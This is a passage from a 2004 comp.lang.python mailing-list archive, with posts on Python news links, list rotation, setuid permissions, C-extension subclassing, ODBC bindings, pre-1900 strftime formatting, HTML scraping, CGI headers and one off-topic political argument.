rounding comes out wrong.  Yes you could probably "fix" the rounding to make 
it work in practice but the problems is that it is simply not possible to 
represent the value 1.13 in a floating point variable exactly and when 
dealing with money you want to represent it exacctly, particularly as it's 
so easy to do. 




From python-url at phaseit.net  Tue Sep 14 18:09:50 2004
From: python-url at phaseit.net (Cameron Laird)
Date: Tue, 14 Sep 2004 22:09:50 GMT
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Sep 14)
Message-ID: <ci7nnt$g65$1@lairds.us>

QOTW:  "[T]he essence of software development is code/task factorization."
                                 Hung Jung Lu

"[U]se the best tool for the job, and don't use any that preclude you from
using others at the same time as well."
                                 Roger Binns


    "SciPy 2004 ... was a great success."
        http://groups.google.com/groups?th=cf4d033c9ca22c42
    Notice, by the way, the new availability of *Python Scripting
    for Computational Science*.
        http://www.amk.ca/diary/archives/cat_python.html#003329

    "In recent months several posters on comp.lang.python have suggested
    that Python would benefit from making it possible for people to
    comment on the documentation, an approach similar to the PHP docs."
    Andrew Kuchling didn't join the speculation on the desirability of
    such a hypothetical; rather, In his award-winning manner, he created
    it.  Notice that discussion now focuses on optimization.
        http://groups.google.com/groups?frame=left&th=4e553e0347dd115c

    Magnus Lie Hetland launches a Wiki just to "chisel ... out a possible
    standard API ... for graphs in Python."  Notice that, by the end of
    the thread, the Wiki is *not* temporary.
        http://groups.google.com/groups?frame=left&th=93df0776394aa6f0

    In a single thread, Alex Martelli both:  enlists the tokenize
    module to introduce examples of the advantages of the new
    iterator protocol; and illustrates ways to leverage tokenize()
    to handle tokens unknown to base Python.
        http://groups.google.com/groups?frame=left&th=b9914fda3566bbd0

    Bryan Olson argues that David Mertz's "weightless threads" are
    weak--weaker, at least, than true co-routines.
        http://groups.google.com/groups?frame=left&th=ca4b3ec6501d42aa

    Is there a problem greenlets solve?  Did Churchill and Fermi share
    a speechwriter?
        http://groups.google.com/groups?frame=left&th=696336311fa0f429
	http://groups.google.com/groups?frame=left&th=c802f304c8eafcc3

    Alex Martelli makes the case that you, too, can readily learn
    enough to be a time wizard.
        http://groups.google.com/groups?th=135ee8f8e6a362f5


========================================================================
Everything Python-related you want is probably one or two clicks away in
these pages:

    Python.org's Python Language Website is the traditional
    center of Pythonia
        http://www.python.org
    Notice especially the master FAQ
        http://www.python.org/doc/FAQ.html

    PythonWare complements the digest you're reading with the
    marvelous daily python url
         http://www.pythonware.com/daily  
    Mygale is a news-gathering webcrawler that specializes in (new)
    World-Wide Web articles related to Python.
         http://www.awaretek.com/nowak/mygale.html 
    While cosmetically similar, Mygale and the Daily Python-URL
    are utterly different in their technologies and generally in
    their results.

    comp.lang.python.announce announces new Python software.  Be
    sure to scan this newsgroup weekly.
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce

    Brett Cannon continues the marvelous tradition established by 
    Andrew Kuchling and Michael Hudson of intelligently summarizing
    action on the python-dev mailing list once every other week.
	http://www.python.org/dev/summary/

    The Python Package Index catalogues packages.
        http://www.python.org/pypi/

    The somewhat older Vaults of Parnassus ambitiously collects references
    to all sorts of Python resources.
        http://www.vex.net/~x/parnassus/   

    Much of Python's real work takes place on Special-Interest Group
    mailing lists
        http://www.python.org/sigs/

    The Python Business Forum "further[s] the interests of companies
    that base their business on ... Python."
	http://www.python-in-business.org

    Python Success Stories--from air-traffic control to on-line
    match-making--can inspire you or decision-makers to whom you're
    subject with a vision of what the language makes practical.
        http://www.pythonology.com/success

    The Python Software Foundation (PSF) has replaced the Python
    Consortium as an independent nexus of activity.  It has official
    responsibility for Python's development and maintenance. 
        http://www.python.org/psf/
    Among the ways you can support PSF is with a donation.
        http://www.python.org/psf/donate.html

    Cetus collects Python hyperlinks.
        http://www.cetus-links.org/oo_python.html

    Python FAQTS
        http://python.faqts.com/

    The Cookbook is a collaborative effort to capture useful and
    interesting recipes.
	http://aspn.activestate.com/ASPN/Cookbook/Python

    Among several Python-oriented RSS/RDF feeds available are
	http://www.python.org/channews.rdf
	http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi
	http://python.de/backend.php
    For more, see
	http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all
    The old Python "To-Do List" now lives principally in a
    SourceForge reincarnation.
        http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse
        http://python.sourceforge.net/peps/pep-0042.html
     
    The online Python Journal is posted at pythonjournal.cognizor.com.
    editor at pythonjournal.com and editor at pythonjournal.cognizor.com
    welcome submission of material that helps people's understanding
    of Python use, and offer Web presentation of your work.

    *Py: the Journal of the Python Language*
        http://www.pyzine.com

    Archive probing tricks of the trade:
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100
        http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.*

Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://www.ddj.com/topics/pythonurl/         
  http://purl.org/thecliff/python/url.html (dormant)
or
  http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python


Suggestions/corrections for next week's posting are always welcome.
E-mail to <Python-URL at phaseit.net> should get through.

To receive a new issue of this posting in e-mail each Monday morning
(approximately), ask <claird at phaseit.net> to subscribe.  Mention
"Python-URL!".


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.




From noone at here.com  Thu Sep 30 13:18:01 2004
From: noone at here.com (M. Clift)
Date: Thu, 30 Sep 2004 18:18:01 +0100
Subject: List rotation
References: <cjftdv$ofl$1@news8.svr.pol.co.uk>
	<mailman.4116.1096515802.5135.python-list@python.org>
	<cjg4cn$qsc$1@newsg4.svr.pol.co.uk>
	<cjgam4$1of$1@gemini.csx.cam.ac.uk>
	<cjhe1o$s8f$1@news8.svr.pol.co.uk>
Message-ID: <cjhf0k$tc4$1@newsg3.svr.pol.co.uk>

Hi,

I think this might nearly be it;

Chords = ['C','Db','E','Gc','Ab']

def rotate_letters(items, trans=0, rotation=['C','Cb','Cc','D','Db','Dc',\
                                             'E','Eb','Ec','F','Fb','Fc',\
                                             'G','Gb','Gc','A','Ab','Ac',\
                                             'B','Bb','Bc']):

     return [rotation[(rotation.index(item)+trans) % len(rotation)]
             for item in items]

print TUNE
print rotate_letters((Chords), trans=2)

The problem is this gives;

['Cc', 'E', 'Ec', 'Ab', 'B']

Fine you say, thats what you asked for. What it should read is;

['D', 'Eb','F','Ac','Bb']

So the first capital letters need to transpose, but not the second lower
case.

Any ideas?

For the musicians amoungst you the lower case refers to the inversion. i.e.
none = root, b = first and c of course = second

Thanks,

Malcolm




From michele.simionato at gmail.com  Sun Sep  5 00:48:56 2004
From: michele.simionato at gmail.com (Michele Simionato)
Date: 4 Sep 2004 21:48:56 -0700
Subject: age of Python programmers
References: <mailman.1859.1092833285.5135.python-list@python.org>	<889cbba0.0408181206.1812881c@posting.google.com>	<mailman.1900.1092860258.5135.python-list@python.org>	<Xns954A5141FF84JanC@213.118.38.197>	<d8778a53.0408311322.9ad0233@posting.google.com>	<6amZc.17353$ni.8118@okepread01>
	<mailman.2862.1094292746.5135.python-list@python.org>
Message-ID: <4edc17eb.0409042048.3a9ed856@posting.google.com>

Gerrit <gerrit at nl.linux.org> wrote in message news:<mailman.2862.1094292746.5135.python-list at python.org>...
> 
> I'm 19, and I started with Python when I were 13, in December 1998.
> 
> See also this usenet message, dated 29 May 1999. It's one of the very
> first messages from me to the Python newsgroup. I'm not a very intensive
> programmer, and I mainly do small scripts for useful purposes (I have
> approx. 50 of them, one of which creates my .sig). I haven't looked
> closely at other languages, although I looked a bit at Ruby. College
> will teach me Java later this year.

Don't you think it is vaste of your time? I thought you wanted to do
something serious, such as Math or Physics. You will end up in any
case as a programmer :) but at least you will learn something in the 
process.


        Michele Simionato


From fumanchu at amor.org  Fri Sep 17 00:38:39 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Thu, 16 Sep 2004 21:38:39 -0700
Subject: Python and ESRI (GIS)
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EE7@exchange.hqamor.amorhq.net>

Tim Churches wrote:
> It seems that Python skills are now highly desirable for GIS 
> people using ESRI 
> products - and ESRI has a major slice of the GIS software 
> market. ESRI seems to be 
> positioning Python as a replacement for its own proprieatry 
> scripting language 
> (Avenue)? Is that correct?

Probably. I just took an ArcView I class last week from GeoMorphIS;
while the (very competent) lecturer lectured, I played with Python 2.1
installed on the desktop provided ;)

ArcView is the stripped-down version of ArcEdit, the stripped-down
version of ArcInfo, the premiere ESRI GIS client. All of these packages
use a central scripting tool called ArcToolbox for *all* scripting, from
geo DB's to the client software itself. The object model is pretty
complete. It is my understanding that any of those scripts can be
written in Python. None of the defaults were, however.

So there's that anecdote. Plus, whenever we mention to anyone from ESRI
or their partners that I write everything in Python at work, their ears
perk up *noticeably*. "Ooooh, so you use Python...? Cool... You're using
pygarmin to push and pull GPS data already? Let me send over one of our
engineers..."

Buzz is fun. :) I have a trial copy of ArcView if you have any specific
questions.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From b.niemann at betternet.de  Fri Sep 17 05:37:41 2004
From: b.niemann at betternet.de (Benjamin Niemann)
Date: Fri, 17 Sep 2004 11:37:41 +0200
Subject: permission problem with os.setuid
In-Reply-To: <4edc17eb.0409170046.1fe1d2d9@posting.google.com>
References: <4edc17eb.0409170046.1fe1d2d9@posting.google.com>
Message-ID: <cieb24$d6s$1@online.de>

Michele Simionato wrote:

> I have a script that sometimes is run by myself (user id 501) and sometimes
> by the mailer program as nobody/nogroup (userid 65534). I would like to change 
> the effective uid to 501 in any case, to get the right permissions, but
> os.setuid and os.seteuid give me a OSError No. 1. Is there a way to get what I
> want? My requirement is that the script should work indipendently from the
> mailer program, i.e I would like to avoid configuring the mailer program by
> hand. I am working on linux with postfix on Mandrake and exim4 on Debian.
> Any suggestion?
Once a process is running as nobody (or any other non-root user account), you 
cannot simple change the uid - that's a (very important) feature not a bug! To 
change the uid you have to be root first, 'sudo' may help you - though I don't 
know about the details how this works...
Possible pseudocode (and by pseudo I mean pseudo ;)

if os.getuid() == 0: # I'm root
   os.setuid(501)
elif os.getuid() != 501:
   os.exec*("sudo", "myscript.py") # script is restarted, now as root

assert os.getuid() == 501


From iker at research.att.com  Tue Sep 14 11:24:42 2004
From: iker at research.att.com (Iker Arizmendi)
Date: Tue, 14 Sep 2004 15:24:42 GMT
Subject: Subclassing in C
In-Reply-To: <m31xh59i9h.fsf@pc150.maths.bris.ac.uk>
References: <I4057u.3Er@research.att.com>
	<m31xh59i9h.fsf@pc150.maths.bris.ac.uk>
Message-ID: <41470D3A.1040206@research.att.com>

I was setting tp_getattr to 0 in my subclass (*), but when
I set it to PyObject_GenericGetAttr Python crashed. What
does PyObject_GenericGetAttr do that would help in
this case?

Regards,
Iker

(*) The class I'm deriving from is defined in another
extension module and it has its own tp_getattr method.


Here's the stack trace (via Valgrind), just in case:

Process terminating with default action of signal 11 (SIGSEGV)
Access not within mapped region at address 0x65C9
at 0x1B97CAC3: PyType_IsSubtype (in /usr/lib/libpython2.3.so.1.0)
by 0x1B96C92D: PyObject_GenericGetAttr (in /usr/lib/libpython2.3.so.1.0)
by 0x1B96C5E8: PyObject_GetAttr (in /usr/lib/libpython2.3.so.1.0)
by 0x1B9A51D2: (within /usr/lib/libpython2.3.so.1.0)
by 0x1B9A65E2: PyEval_EvalCodeEx (in /usr/lib/libpython2.3.so.1.0)
by 0x1B9A31B4: PyEval_EvalCode (in /usr/lib/libpython2.3.so.1.0)
by 0x1B9D4D20: (within /usr/lib/libpython2.3.so.1.0)
by 0x1B9D41EE: PyRun_SimpleFileExFlags (in /usr/lib/libpython2.3.so.1.0)
by 0x1B9D3BEF: PyRun_AnyFileExFlags (in /usr/lib/libpython2.3.so.1.0)
by 0x1B9DC7A3: Py_Main (in /usr/lib/libpython2.3.so.1.0)
by 0x8048640: main (in /usr/bin/python2.3)



Michael Hudson wrote:
> Iker Arizmendi <iker at research.att.com> writes:
> 
> 
>>Hello all,
>>
>>I've defined a class in a C extension module that is
>>(or rather, I would like to be) a subclass of another
>>class. I do this by simply setting the tp_base pointer
>>of my subclass's type object. However, this results
>>in a class that exposes the methods of the base class,
>>but ONLY those. The methods of my subclass are hidden.
>>I'd obviously like to have the methods of the base
>>class AND the new methods of the subclass available.
> 
> 
> Are you setting tp_getattro to PyObject_GenericGetAttr? (just a
> guess).
> 
> Cheers,
> mwh
> 


From gabriel.cooper at mediapulse.com  Mon Sep 27 17:11:46 2004
From: gabriel.cooper at mediapulse.com (Gabriel Cooper)
Date: Mon, 27 Sep 2004 17:11:46 -0400
Subject: Open Education in Python
In-Reply-To: <10l959t466bgde8@corp.supernews.com>
References: <10l959t466bgde8@corp.supernews.com>
Message-ID: <41588212.7070108@mediapulse.com>



Maboroshi wrote:

> Hi I was interested in starting an online open education center 
> focusing on the Python language. This center would consist of 
> beginning to advanced computer science courses using the programming 
> language Python its primary goal would be to create a community of 
> students and teachers who actively discuss in newsgroups write 
> articles give online lectures and more.
>
> How it would work: It would work on a what you put into the community 
> is what you get out of it bases. No money would be collected
>
> This has not been entirely thought out as I am just putting the 
> feelers out and want to see what the python community thinks about it.
>
Let me know if this happens, it sounds very cool. It could work quite 
well, considering that those who go through the lower courses would then 
be able to teach them/moderate them or their help boards. You could even 
work out some kind of round-robin system among the students where those 
that sign up to take a course volunteer to be the primary contact for 
discussions/help/Q&A/etc for a day. It would help them stay motivated 
(since generally motivation comes from not wanting to lose $$ or the 
knowledge that a grade later counts towards something, and since neither 
exist, some users might need that small bit of help to stay on-task) and 
provide for a self-sustaining base for discussion and homework help.

Gabriel.


From mal at egenix.com  Tue Sep 14 14:39:22 2004
From: mal at egenix.com (M.-A. Lemburg)
Date: Tue, 14 Sep 2004 20:39:22 +0200
Subject: PyODB a Python unixODBC API binding
In-Reply-To: <AQy1d.431$kc1.215@newsfe3-gui.ntli.net>
References: <AQy1d.431$kc1.215@newsfe3-gui.ntli.net>
Message-ID: <41473ADA.60608@egenix.com>

Neil Moses wrote:
> I would like to announce the first release of PyODB a Python unixODBC 
> API binding.
> 
> PyODB is a Python module and provides a simplified set of bindings to 
> unixODBC
> (http://www.unixodbc.org) allowing fast and easy development of open 
> database
> applications.
> 
> The module supports multiple database connections using a connection 
> class and
> two methods execute() and fetch() to handle SQL queries. Disconnection 
> from the
> database is automatic using the class destructor.
> 
> My main aim in producing this software was to hide the complexities of 
> the ODBC
> C API from the programmer and so simplify application development. I 
> imagine this
> might appeal to people providing dynamic content on a web server or 
> anyone who
> wished to experiment with ODBC in developing small applications.

Just wondering: didn't you know of the mxODBC Python extension ?

It's been around for almost 7 years now and provides a DB-API 2.0
interface to ODBC databases and managers (including Windows ODBC
manager, iODBC and unixODBC).

> The software has been developed on a Linux environment using Python 2.3
> and SWIG (http://www.swig.org). The module has been tested on Linux and
> Solaris platforms using databases PostgreSQL and Informix, but should work
> on any platform supporting unixODBC and an ODBC database driver.
> 
> To download the release visit https://sourceforge.net/projects/pyodb

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Sep 14 2004)
 >>> Python/Zope Consulting and Support ...        http://www.egenix.com/
 >>> mxODBC.Zope.Database.Adapter ...             http://zope.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::: Try mxODBC.Zope.DA for Windows,Linux,Solaris,FreeBSD for free ! ::::


From spam at nimblegen.com  Fri Sep 10 15:12:36 2004
From: spam at nimblegen.com (Chuck Dillon)
Date: Fri, 10 Sep 2004 14:12:36 -0500
Subject: Xah Lee's Unixism
In-Reply-To: <4141c830$0$65574$a1866201@newsreader.visi.com>
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<4141c830$0$65574$a1866201@newsreader.visi.com>
Message-ID: <chsu8b$ujb$1@grandcanyon.binc.net>

Grant Edwards wrote:

> 
> What makes you think that the current US government gives a
> shit about international agreements?  Bush thinks he's entitled
> to declare anybody and everybody an "enemy combatant" and lock
> them up in secret forever.  Add a moustache and he'd make a
> pretty good Stalin.
> 

Such statements only underscore the incredible ignorance of the author 
or his/her assumption of ignorance in the reader.  President != 
Dictator.  The U.S. President is limited to two four year terms so if 
someone is locked up "forever" the power to do so must extend far 
beyond any President.  Fully one third of Americans are Democrats and 
our press is still free (not necessarily without bias but free).  You 
must think W a genius to think he could pull something like that off.

So, lets say you are an elected official on 9/12/01, the day after we 
lost *only* 3K out of the potentially 20-30K folks that could have been 
killed (that's how many folks spent their day in those towers).  You no 
longer have any frame of reference for the magnitude or imminence of 
risk of an attack elsewhere in country.  How much time do you spend 
studying up international treaties before you decide how to act?

Say Bush did study the treaties and we failed to stop an attack and 
some other 3k folks got fried a few months later.  Would you be 
supporting his re-election today or be slamming him for being indecisive?

-- ced


-- 
Chuck Dillon
Senior Software Engineer
NimbleGen Systems Inc.


From adalke at mindspring.com  Wed Sep 29 19:00:32 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Wed, 29 Sep 2004 23:00:32 GMT
Subject: datetime strftime methods require year >= 1900
In-Reply-To: <mailman.4074.1096464944.5135.python-list@python.org>
References: <mailman.4074.1096464944.5135.python-list@python.org>
Message-ID: <k8H6d.13433$gG4.13418@newsread1.news.pas.earthlink.net>

John Hunter wrote:
> Does anyone know of a datetime string formatter that can handles
> strftime format strings over the full range that datetime objects
> support?

Here's what the Python source says

         /* Give up if the year is before 1900.
          * Python strftime() plays games with the year, and different
          * games depending on whether envar PYTHON2K is set.  This makes
          * years before 1900 a nightmare, even if the platform strftime
          * supports them (and not all do).
          * We could get a lot farther here by avoiding Python's strftime
          * wrapper and calling the C strftime() directly, but that isn't
          * an option in the Python implementation of this module.
          */

The underlying time.strftime module supports special
behaviour for dates < 1900.

 >>> time.accept2dyear
1
 >>> time.strftime("%Y", datetime.date(20, 1, 1).timetuple())
'2020'
 >>> time.accept2dyear = 0
 >>> time.strftime("%Y", datetime.date(20, 1, 1).timetuple())
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
ValueError: year >= 1900 required
 >>>

One concern about your request is, what a date mean
when you get before 1900?  I assume you want the proleptic
Gregorian calendar, that is, to apply it even when and
where it wasn't in use.

One way to fake it is to move the date to a date in the
supported time range which starts on the same day, then
use strftime on that new date.

It's not enough to find the fake year number in the
resulting string and convert it into the real year
number.  After all, the format string might be
"1980 %Y" and if the %Y expands to 1980 in your shifted
time frame then you don't know which to change.

To figure that out, move the date forward by 28 years
(which is the repeat cycle except for the non-leap
centuries) and do it again.  The parts of the two
strings that differ indicate where to put the change.

I tried to write this function but I wasn't sure
how to handle the non-leap year centuries.  It seems
to be that those are the same as 6 years later, so
that Jan. 1900's calendar looks like 1906's.

Here's what I came up with.  Seems to work.


# Format a datetime.date using the proleptic Gregorian calendar

import time, datetime

def _findall(text, substr):
     # Also finds overlaps
     sites = []
     i = 0
     while 1:
         j = text.find(substr, i)
         if j == -1:
             break
         sites.append(j)
         i=j+1
     return sites

# I hope I did this math right.  Every 28 years the
# calendar repeats, except through century leap years
# excepting the 400 year leap years.  But only if
# you're using the Gregorian calendar.

def strftime(dt, fmt):
     # WARNING: known bug with "%s", which is the number
     # of seconds since the epoch.  This is too harsh
     # of a check.  It should allow "%%s".
     fmt = fmt.replace("%s", "s")
     if dt.year > 1900:
         return time.strftime(fmt, dt.timetuple())

     year = dt.year
     # For every non-leap year century, advance by
     # 6 years to get into the 28-year repeat cycle
     delta = 2000 - year
     off = 6*(delta // 100 + delta // 400)
     year = year + off

     # Move to around the year 2000
     year = year + ((2000 - year)//28)*28
     timetuple = dt.timetuple()
     s1 = time.strftime(fmt, (year,) + timetuple[1:])
     sites1 = _findall(s1, str(year))

     s2 = time.strftime(fmt, (year+28,) + timetuple[1:])
     sites2 = _findall(s2, str(year+28))

     sites = []
     for site in sites1:
         if site in sites2:
             sites.append(site)

     s = s1
     syear = "%4d" % (dt.year,)
     for site in sites:
         s = s[:site] + syear + s[site+4:]
     return s

# Make sure that the day names are in order
# from 1/1/1 until August 2000
def test():
     s = strftime(datetime.date(1800, 9, 23),
                  "%Y has the same days as 1980 and 2008")
     if s != "1800 has the same days as 1980 and 2008":
         raise AssertionError(s)

     print "Testing all day names from 0001/01/01 until 2000/08/01"
     days = []
     for i in range(1, 10):
         days.append(datetime.date(2000, 1, i).strftime("%A"))
     nextday = {}
     for i in range(8):
         nextday[days[i]] = days[i+1]

     startdate = datetime.date(1, 1, 1)
     enddate = datetime.date(2000, 8, 1)
     prevday = strftime(startdate, "%A")
     one_day = datetime.timedelta(1)

     testdate = startdate + one_day
     while testdate < enddate:
         if (testdate.day == 1 and testdate.month == 1 and
             (testdate.year % 100 == 0)):
             print testdate.year
         day = strftime(testdate, "%A")
         if nextday[prevday] != day:
             raise AssertionError(str(testdate))
         prevday = day
         testdate = testdate + one_day

if __name__ == "__main__":
     test()


 >>> strftime(datetime.date(1850, 8, 2), "%Y/%M/%d was a %A")
'1850/00/02 was a Friday'
 >>>

% cal 8 1850
     August 1850
  S  M Tu  W Th  F  S
              1  2  3
  4  5  6  7  8  9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31

				Andrew
				dalke at dalkescientific.com


From jerf at jerf.org  Thu Sep 30 21:09:42 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Fri, 01 Oct 2004 01:09:42 GMT
Subject: Reading a text file backwards
References: <cjhqf2$9l1$1@news-int.gatech.edu>
	<1096591274.689794.313540@k17g2000odb.googlegroups.com>
Message-ID: <pan.2004.10.02.07.10.13.91463@jerf.org>

On Thu, 30 Sep 2004 17:41:14 -0700, Graham  Fawcett wrote:

> It's just shifting the burden perhaps, but if you're on a Unix system
> you should be able to use tac(1) to reverse your file a bit faster:
> 
> import os
> for line in os.popen('tac myfile.txt'):
> #do something with the line

It probably isn't shifting the burden; they probably do it right.

Doing it right involves reading the file in chunks backwards, and scanning
backwards for newlines, but getting it right when lines cross boundaries,
while perhaps not *hard*, is exactly the kind of tricky programming it is
best to do once... preferably somebody else's once. :-) 

This way you don't read the file twice, as the first time can take a while.


From fuzzyman at gmail.com  Mon Sep 13 03:04:56 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 13 Sep 2004 00:04:56 -0700
Subject: Request Headers In a CGI
References: <6f402501.0409100102.3fa002ea@posting.google.com>
	<slrnck2sab.9d5.sholden@flexal.cs.usyd.edu.au>
Message-ID: <6f402501.0409122304.1fa79835@posting.google.com>

Sam Holden <sholden at flexal.cs.usyd.edu.au> wrote in message news:<slrnck2sab.9d5.sholden at flexal.cs.usyd.edu.au>...
> On 10 Sep 2004 02:02:23 -0700, Michael Foord <fuzzyman at gmail.com> wrote:
> > Is it possible to get at the http request headers in a normal CGI ?
> >
> > I can't touch the server, so I can't install anything like mod_python.
> > I've tried googling but the answer seems to be 'no'.
> >
> > I know I can reconstruct *most* headers from the environment variables
> > - is this my only option ? I've heard of 'non-parsed headers', but I
> > don't know how to use them from within a python cgi....
> 
> Non-parsed headers are unrelated - they involve the web server not
> parsing the CGI response headers but instead sending them directly to
> the browser.
> 
> What you want can't be done. You can reconstruct most of what you want
> via the environment, but not all of it. HTTP Authentication passwords
> leap to mind.

Which means it's impossible to implement basic authentication in
CGI... it has to be done on the server..... (which I can't do)...

Regards,


Fuzzy
http://www.voidspace.org.uk/atlantibots/pythonutils.html


From invalid at invalid.com  Tue Sep 28 15:06:24 2004
From: invalid at invalid.com (copx)
Date: Tue, 28 Sep 2004 21:06:24 +0200
Subject: crossplatform curses-style apps
Message-ID: <cjccnh$cj2$01$1@news.t-online.com>

Hi, I want to write a console/terminal app in Python that requires
curses-like functionality. Problem: the python curses module doesn't seem to
work on Windows. In fact it doesn't work (isn't part of the Python package)
on my Linux distro (SUSE Linux 9.1 Special Edition) either.
Well what should I do? The app is supposed to work on Windows and Linux at
least (more platforms would be nice).

TIA,
copx




From hellas_74 at hotmail.com  Tue Sep 28 03:15:21 2004
From: hellas_74 at hotmail.com (Hellas)
Date: Tue, 28 Sep 2004 09:15:21 +0200
Subject: A good IDE for Python
Message-ID: <cjb38t$5ag$1@news.flashnet.it>

Hello Guy
I'm newbie of this program language so I need an software that it cans to 
help me to write correctly all key words like an IDE for Visual Basic 
integrated on the office's packet
excuse me for my bad english

Thanks a lot who it helps me 




From carribeiro at gmail.com  Tue Sep 14 21:23:01 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Tue, 14 Sep 2004 22:23:01 -0300
Subject: Strange "feature" involving double slashes in Win98
In-Reply-To: <huCdnXtcC8xsCdrcRVn-sg@powergate.ca>
References: <mailman.3327.1095192228.5135.python-list@python.org>
	<ci7kou$eqj$00$1@news.t-online.com>
	<qOGdnf9RP5WexdrcRVn-oA@powergate.ca>
	<mailman.3331.1095196635.5135.python-list@python.org>
	<q-KdnbQfKohB8NrcRVn-ug@powergate.ca>
	<mailman.3334.1095201604.5135.python-list@python.org>
	<huCdnXtcC8xsCdrcRVn-sg@powergate.ca>
Message-ID: <864d3709040914182329ed9ed4@mail.gmail.com>

Oops. For some reason I misread your message. I'm using Win98 SE, and
have no plans to upgrade (at least while I'm limited to my current PC
setup).

Regarding this bug: if it's clear that this is Windows bug, does it
make sense to fix it in the libraries themselves? The bug exists, but
it doesn't affect much software because few people do things the
"wrong" way. A note in the documentation is more than enough to
clarify the actual workings of the code in the case of Win9x. I'll
report the bug to the DrPython guys, and let them solve the particular
issue with their software. I fixed the problem in a couple of
locations but I'm not sure if I found all relevant places.


On Tue, 14 Sep 2004 21:03:44 -0400, Peter Hansen <peter at engcorp.com> wrote:
> Carlos Ribeiro wrote:
> 
> > On Tue, 14 Sep 2004 18:16:59 -0400, Peter Hansen <peter at engcorp.com> wrote:
> >
> >>Do you have pywin32 (win32all) installed?  Try this one instead:
> >>   win32api.GetFullPathName('c://work')
> >>
> >>This does the same as abspath does above, on mine.
> > 
> > You're right. That's what I got now:
> >
> > PythonWin 2.3.2 (#49, Nov 13 2003, 10:34:54) [MSC v.1200 32 bit
> > (Intel)] on win32.
> >>>>import win32api
> >>>>win32api.GetFullPathName('c://work')
> >
> > 'c:\\\\work'
> >
> > It seems that either ActivePython uses a different implementation for
> > os.abspath(), or the code changed between 2.3.2 and 2.3.4. The last
> > time I checked ActivePython was still using 2.3.2 -- I'll check it out
> > again, and upgrade if a newer version is available.
> 
> I reach a different conclusion.  Note that when I said "this
> does the same as abspath does above", I meant that *my* output
> for the GetFullPathName() call is actually this:
> 
> 'c:\\work'
> 
> In other words, it appears to be an OS difference.  What flavour
> and version of Windows are you running?  I'm using XP Pro SP2.
> 
> -Peter
> 
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
> 



-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From theratpack91 at yahoo.co.uk  Thu Sep 23 11:58:36 2004
From: theratpack91 at yahoo.co.uk (Chris McD)
Date: Thu, 23 Sep 2004 16:58:36 +0100
Subject: Parsing HTML
In-Reply-To: <jmj5q0gv1g1k$.dlg@morateknikutveckling.se>
References: <jmj5q0gv1g1k$.dlg@morateknikutveckling.se>
Message-ID: <4152f27c$0$69739$ed2619ec@ptn-nntp-reader01.plus.net>

Anders Eriksson wrote:
> Hello!
> 
> I want to extract some info from a some specific HTML pages, Microsofts
> International Word list (e.g.
> http://msdn.microsoft.com/library/en-us/dnwue/html/swe_word_list.htm). I
> want to take all the words, both English and the other language and create
> a dictionary. so that I can look up About and get Om as the answer.
> 
> How is the best way to do this?
> 
> Please help!
> 
> // Anders

hi,
try this:

###############################################
import re, urllib2

#get page
s = 
urllib2.urlopen('http://msdn.microsoft.com/library/en-us/dnwue/html/swe_word_list.htm').read()

regex = re.compile('<td.*?>\d*\. (?:<b>)?(.*?)(?:</b>)?</td>')
myresult = regex.findall(s)
#print myresult

# map pairs in list to key:value in dict
nwords = range(len(myresult))
mydict = {}
for i in range(min(nwords),max(nwords),2):
     mydict[myresult[i]] = myresult[i+1]

#print mydict

# try some words
print mydict['wizard']
print mydict['Web site']
print mydict['unavailable']

##############################

which outputs:
guide
webbplats
inte tillg??nglig



Chris


From uthand at hotmail.com  Wed Sep 15 05:39:06 2004
From: uthand at hotmail.com (Fritz Bosch)
Date: 15 Sep 2004 02:39:06 -0700
Subject: (macro) recorder for service requests in a model-view-controller
	architecture
Message-ID: <cf038e65.0409150139.1389998a@posting.google.com>

We are in the process of refactoring our GUI-based test application
for radio equipment and are rewriting a significant part in Python. 
The new architecture will substantially be based on the
model-view-controller pattern, as follows:


 User Input
   |
   v                                             
+-------------+ service request     service request +-------------+
| aController +----------------+   +----------------+ aTestScript |
+-------------+                |   |                +-------------+
                               v   v
+--------+   update    +------------------+
| aView  |<------------+   aModelObject   |
+--------+             +------------------+
                                ^
                                |
                                v
                          test equipment
			  

In interactive mode, the user generates stimuli for and performs
measurements on the devices under test via the GUI, using controller
objects.  The controller objects send service request to model objects
where the actual work is performed.  Changes in the (data of) model
objects are visualized by view objects.  So far nothing special ;-)

In order to automate test sequences, the user can also write test
scripts (in Python), which send similar requests to the model objects
(which are also written in Python).  This should be made as simple as
possible, as the users are not software developers.  For instance, the
user should normally not have to worry about the creation of the model
objects ? these are typically created (in the user's global namespace)
